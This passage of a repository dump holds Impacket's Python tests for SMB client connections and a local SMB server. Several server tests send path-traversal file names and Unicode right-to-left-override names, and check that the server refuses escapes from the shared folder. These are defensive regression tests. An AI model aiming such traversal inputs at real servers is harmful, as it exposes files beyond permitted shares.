     smb.getServerDomain()\n        smb.getServerOS()\n        smb.doesSupportNTLMv2()\n        smb.isLoginRequired()\n        smb.isSigningRequired()\n        smb.getIOCapabilities()\n        smb.logoff()\n\n    def test_getServerName(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        serverName = smb.getServerName()\n        self.assertEqual(serverName.upper(), self.serverName.upper())\n        smb.logoff()\n\n    def test_getServerDNSDomainName(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        serverDomain = smb.getServerDNSDomainName()\n        self.assertEqual(serverDomain.upper(), self.domain.upper())\n        smb.logoff()\n\n    def test_getServerDomain(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        serverDomain = smb.getServerDomain()\n        self.assertEqual(serverDomain.upper(), self.domain.upper().split('.')[0])\n        smb.logoff()\n\n    def test_getRemoteHost(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        remoteHost = smb.getRemoteHost()\n        self.assertEqual(remoteHost, self.machine)\n        smb.logoff()\n\n    def test_getDialect(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        dialect = smb.getDialect()\n        self.assertEqual(dialect, self.dialects)\n        smb.logoff()\n\n    def test_uploadDownload(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        f = open(self.upload)\n        smb.putFile(self.share, self.file, f.read)\n        f.close()\n        f = open(self.upload + '2', 'wb+')\n        smb.getFile(self.share, self.file, f.write)\n        f.close()\n        os.unlink(self.upload + '2')\n        smb.deleteFile(self.share, self.file)\n        smb.logoff()\n\n    def test_listShares(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.listShares()\n        smb.logoff()\n\n    def test_getSessionKey(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.getSessionKey()\n        smb.logoff()\n\n    def test_queryInfo(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        tid = smb.connectTree(self.share)\n        fid = smb.createFile(tid, self.file)\n        file_info = smb.queryInfo(tid, fid)\n        self.assertEqual(file_info[\"AllocationSize\"], 0)\n        self.assertEqual(file_info[\"EndOfFile\"], 0)\n        self.assertEqual(file_info[\"Directory\"], 0)\n        smb.closeFile(tid,fid)\n        smb.deleteFile(self.share, self.file)\n        smb.disconnectTree(tid)\n        smb.logoff()\n    \n    # ToDo: add to tests when merged to master.\n    # def test_setInfo(self):\n    #     import datetime\n    #     smb = self.create_connection()\n    #     smb.login(self.username, self.password, self.domain)\n    #     tid = smb.connectTree(self.share)\n    #     fid = smb.createFile(tid, self.file)\n    #     info_data = smb.SMBSetFileBasicInfo()\n    #     info_data['CreationTime'] = smb.POSIXtoFT(datetime.datetime(2003, 7, 7, 12, 34, 56, 789).timestamp())\n    #     info_data['LastAccessTime'] = smb.POSIXtoFT(datetime.datetime(2003, 7, 7, 12, 34, 56, 789).timestamp())\n    #     info_data['LastWriteTime'] = smb.POSIXtoFT(datetime.datetime(2003, 7, 7, 12, 34, 56, 789).timestamp())\n    #     info_data['ChangeTime'] = smb.POSIXtoFT(datetime.datetime(2003, 7, 7, 12, 34, 56, 789).timestamp())\n    #     info_data['ExtFileAttributes'] = 0\n    #     info_data['Reserved'] = 0\n    #     smb.setInfo(tid, fid, smb.SMB_SET_FILE_BASIC_INFO, info_data)\n    #     smb.closeFile(tid,fid)\n    #     smb.deleteFile(self.share, self.file)\n    #     smb.disconnectTree(tid)\n    #     smb.logoff()\n\n    def __is_socket_opened(self, s):\n        # We assume that if socket is selectable, it's open; and if it were not, it's closed.\n        # Note: this method is accurate as long as the file descriptor used for the socket is not re-used\n        is_socket_opened = True \n        try:\n            select.select([s], [], [], 0)\n        except socket.error as e:\n            if e.errno == errno.EBADF:\n                is_socket_opened = False\n        except ValueError:\n            is_socket_opened = False\n        return is_socket_opened\n\n\n@pytest.mark.remote\nclass SMB1Tests(SMBTests, unittest.TestCase):\n\n    def setUp(self):\n        super(SMB1Tests, self).setUp()\n        self.set_transport_config(aes_keys=True)\n        self.share = 'C$'\n        self.file = '/TEST'\n        self.directory = '/BETO'\n        self.upload = 'impacket/nt_errors.py'\n        self.flags2 = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES\n        self.dialects = smb.SMB_DIALECT\n        self.sessPort = nmb.SMB_SESSION_PORT\n\n\n@pytest.mark.remote\nclass SMB1TestsNetBIOS(SMB1Tests):\n\n    def setUp(self):\n        super(SMB1TestsNetBIOS, self).setUp()\n        self.sessPort = nmb.NETBIOS_SESSION_PORT\n\n\n@pytest.mark.remote\nclass SMB1TestsUnicode(SMB1Tests):\n\n    def setUp(self):\n        super(SMB1TestsUnicode, self).setUp()\n        self.flags2 = smb.SMB.FLAGS2_UNICODE | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES\n\n\n@pytest.mark.remote\nclass SMB002Tests(SMB1Tests):\n\n    def setUp(self):\n        super(SMB002Tests, self).setUp()\n        self.dialects = SMB2_DIALECT_002\n\n\n@pytest.mark.remote\nclass SMB21Tests(SMB1Tests):\n\n    def setUp(self):\n        super(SMB21Tests, self).setUp()\n        self.dialects = SMB2_DIALECT_21\n\n\n@pytest.mark.remote\nclass SMB3Tests(SMB1Tests):\n\n    def setUp(self):\n        super(SMB3Tests, self).setUp()\n        self.dialects = SMB2_DIALECT_30\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_smbserver.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Basic unit tests for the SMB Server.\n#\n# Author:\n#   Martin Gallo (@martingalloar)\n#\n# TODO:\n#     The following are all the commands implemented by SMBServer:\n#     [ ] TRANSCommands\n#         [ ] lanMan\n#         [ ] transactNamedPipe\n#     [ ] TRANS2Commands\n#         [ ] setPathInformation\n#         [ ] setFileInformation\n#         [ ] queryPathInformation\n#         [ ] queryFileInformation\n#         [ ] queryFsInformation\n#         [ ] findNext2\n#         [ ] findFirst2\n#     [ ] SMBCommands\n#         [ ] smbTransaction\n#         [ ] smbNTTransact\n#         [ ] smbTransaction2\n#         [ ] smbComLockingAndX\n#         [ ] smbComClose\n#         [ ] smbComWrite\n#         [ ] smbComFlush\n#         [ ] smbComCreateDirectory\n#         [ ] smbComRename\n#         [ ] smbComDelete\n#         [ ] smbComDeleteDirectory\n#         [ ] smbComWriteAndX\n#         [ ] smbComRead\n#         [ ] smbComReadAndX\n#         [ ] smbQueryInformation\n#         [ ] smbQueryInformationDisk\n#         [ ] smbComEcho\n#         [ ] smbComTreeDisconnect\n#         [ ] smbComLogOffAndX\n#         [ ] smbComQueryInformation2\n#         [ ] smbComNtCreateAndX\n#         [ ] smbComOpenAndX\n#         [ ] smbComTreeConnectAndX\n#         [ ] smbComSessionSetupAndX\n#         [ ] smbComNegotiate\n#     [ ] SMB2Commands\n#         [ ] smb2Negotiate\n#         [ ] smb2SessionSetup\n#         [ ] smb2TreeConnect\n#         [ ] smb2Create\n#         [ ] smb2Close\n#         [ ] smb2QueryInfo\n#         [ ] smb2SetInfo\n#         [ ] smb2Write\n#         [ ] smb2Read\n#         [ ] smb2Flush\n#         [ ] smb2QueryDirectory\n#         [ ] smb2ChangeNotify\n#         [ ] smb2Echo\n#         [ ] smb2TreeDisconnect\n#         [ ] smb2Logoff\n#         [ ] smb2Ioctl\n#         [ ] smb2Lock\n#         [ ] smb2Cancel\n#\nimport unittest\nfrom time import sleep\nfrom os.path import exists, join\nfrom os import mkdir, rmdir, remove\nfrom multiprocessing import Process\n\nfrom six import PY2, StringIO, BytesIO, b, assertRaisesRegex, assertCountEqual\n\nfrom impacket.smb import SMB_DIALECT\nfrom impacket.smbserver import normalize_path, isInFileJail, SimpleSMBServer, SMBSERVER\nfrom impacket.smbconnection import SMBConnection, SessionError, compute_lmhash, compute_nthash\nfrom threading import Thread\n\nimport select\nimport socket\n\nclass StoppableMixin():\n    def serve_forever(self):\n        self.must_serve = True\n        self.timeout = 0.1\n\n        while self.must_serve:\n            self.handle_request()\n\n    def close_request(self,request):\n        if self.must_serve:\n            request.close()\n\n    def get_request(self):\n        timeout = 0.1\n        while self.must_serve:\n            _read,_,_ = select.select([self.socket],[],[],timeout)\n            \n            if _read and self.must_serve:\n                return self.socket.accept()\n        raise socket.error\n\nclass SMBSERVERForTests(StoppableMixin,SMBSERVER):\n    pass\n\nclass SMBServerUnitTests(unittest.TestCase):\n    \"\"\"Unit tests for the SMBServer\n    \"\"\"\n\n    def test_normalize_path(self):\n        \"\"\"Test file path normalization.\n        \"\"\"\n        self.assertEqual(normalize_path(\"filepath\"), \"filepath\")\n        self.assertEqual(normalize_path(\"filepath\\\\\"), \"filepath\")\n        self.assertEqual(normalize_path(\"filepath\\\\\\\\\"), \"filepath\")\n        self.assertEqual(normalize_path(\"\\\\filepath\\\\\"), \"filepath\")\n        self.assertEqual(normalize_path(\"\\\\\\\\filepath\\\\\"), \"/filepath\")\n        self.assertEqual(normalize_path(\".\\\\filepath\"), \"filepath\")\n        self.assertEqual(normalize_path(\".\\\\.\\\\filepath\"), \"filepath\")\n        self.assertEqual(normalize_path(\"..\\\\.\\\\filepath\"), \"../filepath\")\n        self.assertEqual(normalize_path(\"..\\\\filepath\\\\..\\\\..\\\\filepath\"), \"../../filepath\")\n        self.assertEqual(normalize_path(\"/filepath\"), \"filepath\")\n        self.assertEqual(normalize_path(\"//filepath\"), \"/filepath\")\n        self.assertEqual(normalize_path(\"./filepath\"), \"filepath\")\n        self.assertEqual(normalize_path(\"././filepath\"), \"filepath\")\n        self.assertEqual(normalize_path(\".././filepath\"), \"../filepath\")\n        self.assertEqual(normalize_path(\"../filepath/../../filepath\"), \"../../filepath\")\n\n        self.assertEqual(normalize_path(\"filepath\", ''), \"filepath\")\n        self.assertEqual(normalize_path(\"/filepath\", ''), \"/filepath\")\n        self.assertEqual(normalize_path(\"//filepath\", ''), \"//filepath\")\n        self.assertEqual(normalize_path(\"filepath\", 'path'), \"filepath\")\n        self.assertEqual(normalize_path(\"/filepath\", 'path'), \"filepath\")\n        self.assertEqual(normalize_path(\"//filepath\", 'path'), \"/filepath\")\n\n    def test_isInFileJail(self):\n        \"\"\"Test validation of common prefix path.\n        \"\"\"\n        jail_path = \"/tmp/jail_path\"\n        self.assertTrue(isInFileJail(jail_path, \"filename\"))\n        self.assertTrue(isInFileJail(jail_path, \"./filename\"))\n        self.assertTrue(isInFileJail(jail_path, \"../jail_path/filename\"))\n\n        self.assertFalse(isInFileJail(jail_path, \"/filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"/tmp/filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"../filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"../../filename\"))\n\n        jail_path = \"\"\n        self.assertTrue(isInFileJail(jail_path, \"filename\"))\n        self.assertTrue(isInFileJail(jail_path, \"./filename\"))\n\n        self.assertFalse(isInFileJail(jail_path, \"../jail_path/filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"/filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"/tmp/filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"../filename\"))\n        self.assertFalse(isInFileJail(jail_path, \"../../filename\"))\n\n\nclass SimpleSMBServerFuncTests(unittest.TestCase):\n    \"\"\"Pseudo functional tests for the SimpleSMBServer.\n\n    These are pseudo functional as we're using our own SMBConnection classes. For a complete functional test\n    we should (and can) use for example Samba's smbclient or similar.\n    \"\"\"\n    server = None\n    server_smb2_support = False\n    client_preferred_dialect = None\n\n    address = \"127.0.0.1\"\n    port = 1445\n    username = \"UserName\"\n    password = \"Password\"\n    domain = \"DOMAIN\"\n    lmhash = compute_lmhash(password)\n    nthash = compute_nthash(password)\n\n    unicode_share_file = \"test\\u202Etest\"\n    unicode_username = \"User\\u202EName\"\n\n    share_name = \"share\"\n    share_path = \"jail_dir\"\n    share_file = \"jail_file\"\n    share_new_file = \"jail_new_file\"\n    share_unjailed_file = \"unjailed_file\"\n    share_unjailed_new_file = \"unjailed_new_file\"\n    share_new_content = \"some content\"\n\n    share_directory = \"directory\"\n    share_new_directory = \"new_directory\"\n    share_unjailed_directory = \"unjailed_directory\"\n    share_unjailed_new_directory = \"unjailed_new_directory\"\n\n    # When listing files in a share, SMB1 response includes \".\" and \"..\"\n    share_list = [\".\", \"..\", share_file, share_directory, unicode_share_file]\n\n    def setUp(self):\n        \"\"\"Creates folders and files required for testing the list, put and get functionality.\n        \"\"\"\n        self.server_process = None\n        for d in [self.share_path,\n                  self.share_unjailed_directory,\n                  join(self.share_path, self.share_directory)]:\n            if not exists(d):\n                mkdir(d)\n        for f in [self.share_unjailed_file,\n                  join(self.share_path, self.share_file),\n                  join(self.share_path, self.unicode_share_file)]:\n            if not exists(f):\n                with open(f, \"a\") as fd:\n                    fd.write(self.share_new_content)\n\n    def tearDown(self):\n        \"\"\"Removes folders and files used for testing.\n        \"\"\"\n        for f in [self.share_unjailed_file,\n                  self.share_unjailed_new_file,\n                  join(self.share_path, self.share_file),\n                  join(self.share_path, self.unicode_share_file),\n                  join(self.share_path, self.share_new_file)]:\n            if exists(f):\n                remove(f)\n        for d in [self.share_unjailed_directory,\n                  self.share_unjailed_new_directory,\n                  join(self.share_path, self.share_directory),\n                  join(self.share_path, self.share_new_directory),\n                  self.share_path]:\n            if exists(d):\n                rmdir(d)\n        self.stop_smbserver()\n\n    def get_smbserver(self, add_credential=True, add_share=True):\n        #smbserver = SimpleSMBServerForTests(listenAddress=self.address, listenPort=int(self.port))\n        # smbserver should be run in a host thread and also be able to be terminated in order to run several times\n        # different configurations.\n        smbserver = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port),smbserverclass=SMBSERVERForTests)\n        if add_credential:\n            smbserver.addCredential(self.username, 0, self.lmhash, self.nthash)\n        if add_share:\n            smbserver.addShare(self.share_name, self.share_path)\n        if self.server_smb2_support is not None:\n            smbserver.setSMB2Support(self.server_smb2_support)\n        return smbserver\n\n    def get_smbclient(self):\n        smbclient = SMBConnection(self.address, self.address, sess_port=int(self.port),\n                                  preferredDialect=self.client_preferred_dialect)\n        return smbclient\n\n    def start_smbserver(self, server):\n        \"\"\"Starts the SimpleSMBServer process.\n        \"\"\"\n        self.server = server\n        #self.server_process = Process(target=server.start)\n        # avoid using Process beacuse of bug in python3.13 https://github.com/python/cpython/issues/134381\n        # TODO: remove these changes once a bugfix gets backported.\n        self.server_process = Thread(target=server.start)\n        self.server_process.daemon = True\n        self.server_process.start()\n\n    def stop_smbserver(self):\n        \"\"\"Stops the SimpleSMBServer process and wait for insider threads to join.\n        \"\"\"\n        if self.server:\n            self.server.stop()\n            self.server.getServer().must_serve=False\n            self.server = None\n        if self.server_process:\n            #self.server_process.terminate()\n            #self.server_process._stop()\n            sleep(0.1)\n            self.server_process.join()\n            self.server_process = None\n\n    def test_smbserver_login_valid(self):\n        \"\"\"Test authentication using valid password and LM/NTHash.\n        \"\"\"\n        server = self.get_smbserver(add_share=False)\n        self.start_smbserver(server)\n\n        # Valid password login\n        client = self.get_smbclient()\n        client.login(self.username, self.password)\n        client.close()\n\n        # Valid hash login\n        client = self.get_smbclient()\n        client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash)\n        client.close()\n\n    def test_smbserver_login_invalid(self):\n        \"\"\"Test authentication using invalid password and LM/NTHash.\n        \"\"\"\n        server = self.get_smbserver(add_share=False)\n        self.start_smbserver(server)\n\n        # Invalid password login\n        client = self.get_smbclient()\n        with assertRaisesRegex(self, SessionError, \"STATUS_LOGON_FAILURE\"):\n            client.login(self.username, 'SomeInvalidPassword')\n        client.close()\n\n        # Invalid username login\n        client = self.get_smbclient()\n        with assertRaisesRegex(self, SessionError, \"STATUS_LOGON_FAILURE\"):\n            client.login(\"InvalidUser\", \"\", lmhash=self.lmhash, nthash=self.nthash)\n        client.close()\n\n        # Invalid hash login\n        client = self.get_smbclient()\n        with assertRaisesRegex(self, SessionError, \"STATUS_LOGON_FAILURE\"):\n            client.login(self.username, \"\", lmhash=self.nthash, nthash=self.lmhash)\n        client.close()\n\n    def test_smbserver_unicode_login(self):\n        \"\"\"Test authentication using a unicode username.\n        \"\"\"\n        server = self.get_smbserver(add_credential=False, add_share=False)\n        server.addCredential(self.unicode_username, 0, self.lmhash, self.nthash)\n        self.start_smbserver(server)\n\n        # Valid Unicode username login\n        client = self.get_smbclient()\n        client.login(self.unicode_username, self.password)\n        client.close()\n\n    def test_smbserver_list_shares(self):\n        \"\"\"Test listing shares.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated list shares\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.listShares()\n\n        # Check authenticated list shares\n        client.login(self.username, self.password)\n        shares = client.listShares()\n        shares_names = [share['shi1_netname'][:-1] for share in shares]\n        assertCountEqual(self, [self.share_name.upper(), \"IPC$\"], shares_names)\n\n        client.close()\n\n    def test_smbserver_connect_disconnect_tree(self):\n        \"\"\"Test connecting/disconnecting to a share tree.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated connect tree\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.connectTree(self.share_name)\n\n        # Check authenticated list shares\n        client.login(self.username, self.password)\n        tree_id = client.connectTree(self.share_name)\n\n        # Check disconnect tree\n        client.disconnectTree(tree_id)\n\n        # Check unexistent share\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_NOT_FOUND\"):\n            client.connectTree(\"unexistent\")\n\n        client.close()\n\n    @unittest.skipIf(PY2, \"Unicode filename expected failing in Python 2.x\")\n    def test_smbserver_list_path(self):\n        \"\"\"Test listing files in a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated list path\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.listPath(self.share_name, \"/\")\n\n        # Check authenticated list path\n        client.login(self.username, self.password)\n\n        files = client.listPath(self.share_name, self.share_file)\n        assertCountEqual(self, [f.get_longname() for f in files],\n                         [self.share_file])\n        files = client.listPath(self.share_name, self.share_directory)\n        assertCountEqual(self, [f.get_longname() for f in files],\n                         [self.share_directory])\n        files = client.listPath(self.share_name, self.unicode_share_file)\n        assertCountEqual(self, [f.get_longname() for f in files],\n                         [self.unicode_share_file])\n\n        # Check list with pattern of files\n        files = client.listPath(self.share_name, \"*\")\n        assertCountEqual(self, [f.get_longname() for f in files], self.share_list)\n\n        # Check path traversal in list as in #1066\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.listPath(self.share_name, join(\"..\", self.share_unjailed_file))\n\n        # Check unexistent file\n        with assertRaisesRegex(self, SessionError, \"STATUS_NO_SUCH_FILE\"):\n            client.listPath(self.share_name, \"unexistent\")\n\n        client.close()\n\n    def test_smbserver_put(self):\n        \"\"\"Test writing files to a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated put\n        local_file = StringIO(self.share_new_content)\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.putFile(self.share_name, self.share_new_file, local_file.read)\n        self.assertFalse(exists(join(self.share_path, self.share_new_file)))\n\n        # Check authenticated put\n        local_file = StringIO(self.share_new_content)\n        client.login(self.username, self.password)\n        client.putFile(self.share_name, self.share_new_file, local_file.read)\n        self.assertTrue(exists(join(self.share_path, self.share_new_file)))\n        with open(join(self.share_path, self.share_new_file), \"r\") as fd:\n            self.assertEqual(fd.read(), self.share_new_content)\n\n        # Check path traversal in put as in #1066\n        local_file = StringIO(self.share_new_content)\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.putFile(self.share_name, join(\"..\", self.share_unjailed_new_file), local_file.read)\n        self.assertFalse(exists(self.share_unjailed_new_file))\n\n        client.close()\n\n    def test_smbserver_get_file(self):\n        \"\"\"Test reading files from a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated get\n        local_file = BytesIO()\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.getFile(self.share_name, self.share_file, local_file.write)\n\n        # Check authenticated get\n        local_file = BytesIO()\n        client.login(self.username, self.password)\n        client.getFile(self.share_name, self.share_file, local_file.write)\n        local_file.seek(0)\n        self.assertEqual(local_file.read(), b(self.share_new_content))\n\n        # Check path traversal in get as in #1066\n        local_file = BytesIO()\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.getFile(self.share_name, join(\"..\", self.share_unjailed_file), local_file.write)\n        local_file.seek(0)\n        self.assertEqual(local_file.read(), b(\"\"))\n\n        # Check unexistent get file\n        with assertRaisesRegex(self, SessionError, \"STATUS_NO_SUCH_FILE\"):\n            client.getFile(self.share_name, \"unexistent\", local_file.write)\n\n        client.close()\n\n    @unittest.skipIf(PY2, \"Unicode filename expected failing in Python 2.x\")\n    def test_smbserver_get_unicode_file(self):\n        \"\"\"Test reading unicode files from a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n        local_file = BytesIO()\n        client.login(self.username, self.password)\n        client.getFile(self.share_name, self.unicode_share_file, local_file.write)\n        local_file.seek(0)\n        self.assertEqual(local_file.read(), b(self.share_new_content))\n\n        client.close()\n\n    def test_smbserver_delete_file(self):\n        \"\"\"Test deleting files from a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated delete\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.deleteFile(self.share_name, self.share_file)\n        self.assertTrue(exists(join(self.share_path, self.share_file)))\n\n        # Check path traversal in delete as in #1066\n        client.login(self.username, self.password)\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.deleteFile(self.share_name, join(\"..\", self.share_unjailed_file))\n        self.assertTrue(exists(self.share_unjailed_file))\n\n        # Check authenticated delete\n        client.deleteFile(self.share_name, self.share_file)\n        self.assertFalse(exists(join(self.share_path, self.share_file)))\n\n        # Check unexistent file\n        with assertRaisesRegex(self, SessionError, \"STATUS_NO_SUCH_FILE\"):\n            client.deleteFile(self.share_name, \"unexistent\")\n\n        client.close()\n\n    def test_smbserver_create_directory(self):\n        \"\"\"Test creating a directory on a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated create directory\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.createDirectory(self.share_name, self.share_new_directory)\n        self.assertFalse(exists(join(self.share_path, self.share_new_directory)))\n\n        # Check authenticated create directory\n        client.login(self.username, self.password)\n        client.createDirectory(self.share_name, self.share_new_directory)\n        self.assertTrue(exists(join(self.share_path, self.share_new_directory)))\n\n        # Check path traversal in create directory as in #1066\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.createDirectory(self.share_name, join(\"..\", self.share_unjailed_new_directory))\n        self.assertFalse(exists(self.share_unjailed_new_directory))\n\n        client.close()\n\n    def test_smbserver_rename_file(self):\n        \"\"\"Test renaming files in a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated rename file\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.rename(self.share_name, self.share_file, self.share_new_file)\n        self.assertTrue(exists(join(self.share_path, self.share_file)))\n        self.assertFalse(exists(join(self.share_path, self.share_new_file)))\n\n        # Check path traversal in rename file as in #1066\n        client.login(self.username, self.password)\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.rename(self.share_name, self.share_file, join(\"..\", self.share_unjailed_new_file))\n        self.assertTrue(exists(join(self.share_path, self.share_file)))\n        self.assertFalse(exists(self.share_unjailed_new_file))\n\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.rename(self.share_name, join(\"..\", self.share_unjailed_file), self.share_new_file)\n        self.assertTrue(exists(self.share_unjailed_file))\n        self.assertFalse(exists(self.share_new_file))\n\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.rename(self.share_name, join(\"..\", self.share_unjailed_file), join(\"..\", self.share_unjailed_new_file))\n        self.assertTrue(exists(self.share_unjailed_file))\n        self.assertFalse(exists(self.share_unjailed_new_file))\n\n        # Check authenticated rename file\n        client.rename(self.share_name, self.share_file, self.share_new_file)\n        self.assertFalse(exists(join(self.share_path, self.share_file)))\n        self.assertTrue(exists(join(self.share_path, self.share_new_file)))\n        with open(join(self.share_path, self.share_new_file), \"r\") as fd:\n            self.assertEqual(fd.read(), self.share_new_content)\n\n        # Check unexistent rename file\n        with assertRaisesRegex(self, SessionError, \"STATUS_NO_SUCH_FILE\"):\n            client.rename(self.share_name, \"unexistent\", self.share_new_file)\n\n        client.close()\n\n    def test_smbserver_open_close_file(self):\n        \"\"\"Test opening and closing files in a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check authenticated open file\n        client.login(self.username, self.password)\n        tree_id = client.connectTree(self.share_name)\n        file_id = client.openFile(tree_id, self.share_file)\n\n        # Check path traversal in open file as in #1066\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            client.openFile(tree_id, join(\"..\", self.share_unjailed_file))\n\n        # Check authenticated open unexistent file\n        with assertRaisesRegex(self, SessionError, \"STATUS_NO_SUCH_FILE\"):\n            client.openFile(tree_id, \"unexistent\")\n\n        # Check close invalid tree or file ids\n        with self.assertRaises(SessionError):\n            client.closeFile(tree_id, 123)\n        with self.assertRaises(SessionError):\n            client.closeFile(123, file_id)\n        with self.assertRaises(SessionError):\n            client.closeFile(\"123\", file_id)\n\n        # Check close valid file\n        client.closeFile(tree_id, file_id)\n\n        # Now close the tree and client\n        client.disconnectTree(tree_id)\n        client.close()\n\n    def test_smbserver_query_info_file(self):\n        \"\"\"Test query info on a file in a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n        client.login(self.username, self.password)\n\n        # Check query info on file\n        tree_id = client.connectTree(self.share_name)\n        file_id = client.openFile(tree_id, self.share_file)\n        file_info = client.queryInfo(tree_id, file_id)\n        self.assertEqual(file_info[\"AllocationSize\"], len(self.share_new_content))\n        self.assertEqual(file_info[\"EndOfFile\"], len(self.share_new_content))\n        self.assertEqual(file_info[\"Directory\"], 0)\n\n        # Now close everything\n        client.closeFile(tree_id, file_id)\n        client.disconnectTree(tree_id)\n        client.close()\n\n    @unittest.skip(\"Query directory not implemented on client\")\n    def test_smbserver_query_info_directory(self):\n        \"\"\"Test query info on a directory in a shared folder.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n        client.login(self.username, self.password)\n\n        # Check query info on directory\n        tree_id = client.connectTree(self.share_name)\n        directory_id = client.openFile(tree_id, self.share_directory)\n        directory_info = client.queryInfo(tree_id, directory_id)\n        self.assertEqual(directory_info[\"AllocationSize\"], len(self.share_new_content))\n        self.assertEqual(directory_info[\"EndOfFile\"], len(self.share_new_content))\n        self.assertEqual(directory_info[\"Directory\"], 1)\n\n        # Now close everything\n        client.closeFile(tree_id, directory_id)\n        client.disconnectTree(tree_id)\n        client.close()\n\n\nclass SimpleSMBServer2FuncTestsClientFallBack(SimpleSMBServerFuncTests):\n\n    server_smb2_support = True\n    client_preferred_dialect = SMB_DIALECT\n\n\nclass SimpleSMBServer2FuncTests(SimpleSMBServerFuncTests):\n\n    server_smb2_support = True\n\n    # When listing files in a share, SMB2 response doesn't include \".\" and \"..\"\n    share_list = [SimpleSMBServerFuncTests.share_file,\n                  SimpleSMBServerFuncTests.share_directory,\n                  SimpleSMBServerFuncTests.unicode_share_file]\n\n    def test_smbserver_delete_directory(self):\n        \"\"\"Test deleting directories from a shared folder.\n\n        This is only tested in SMB2 as SMB_COM_CHECK_DIRECTORY is not\n        implemented yet in SMB, the SMB2 client uses a query info instead.\n        \"\"\"\n        server = self.get_smbserver()\n        self.start_smbserver(server)\n\n        client = self.get_smbclient()\n\n        # Check unauthenticated delete directory\n        with assertRaisesRegex(self, SessionError, \"STATUS_ACCESS_DENIED\"):\n            client.deleteDirectory(self.share_name, self.share_directory)\n        self.assertTrue(exists(join(self.share_path, self.share_directory)))\n\n        # Check path traversal in delete directory as in #1066\n        client.login(self.username, self.password)\n        with assertRaisesRegex(self, SessionError, \"STATUS_OBJECT_PATH_SYNTAX_BAD\"):\n            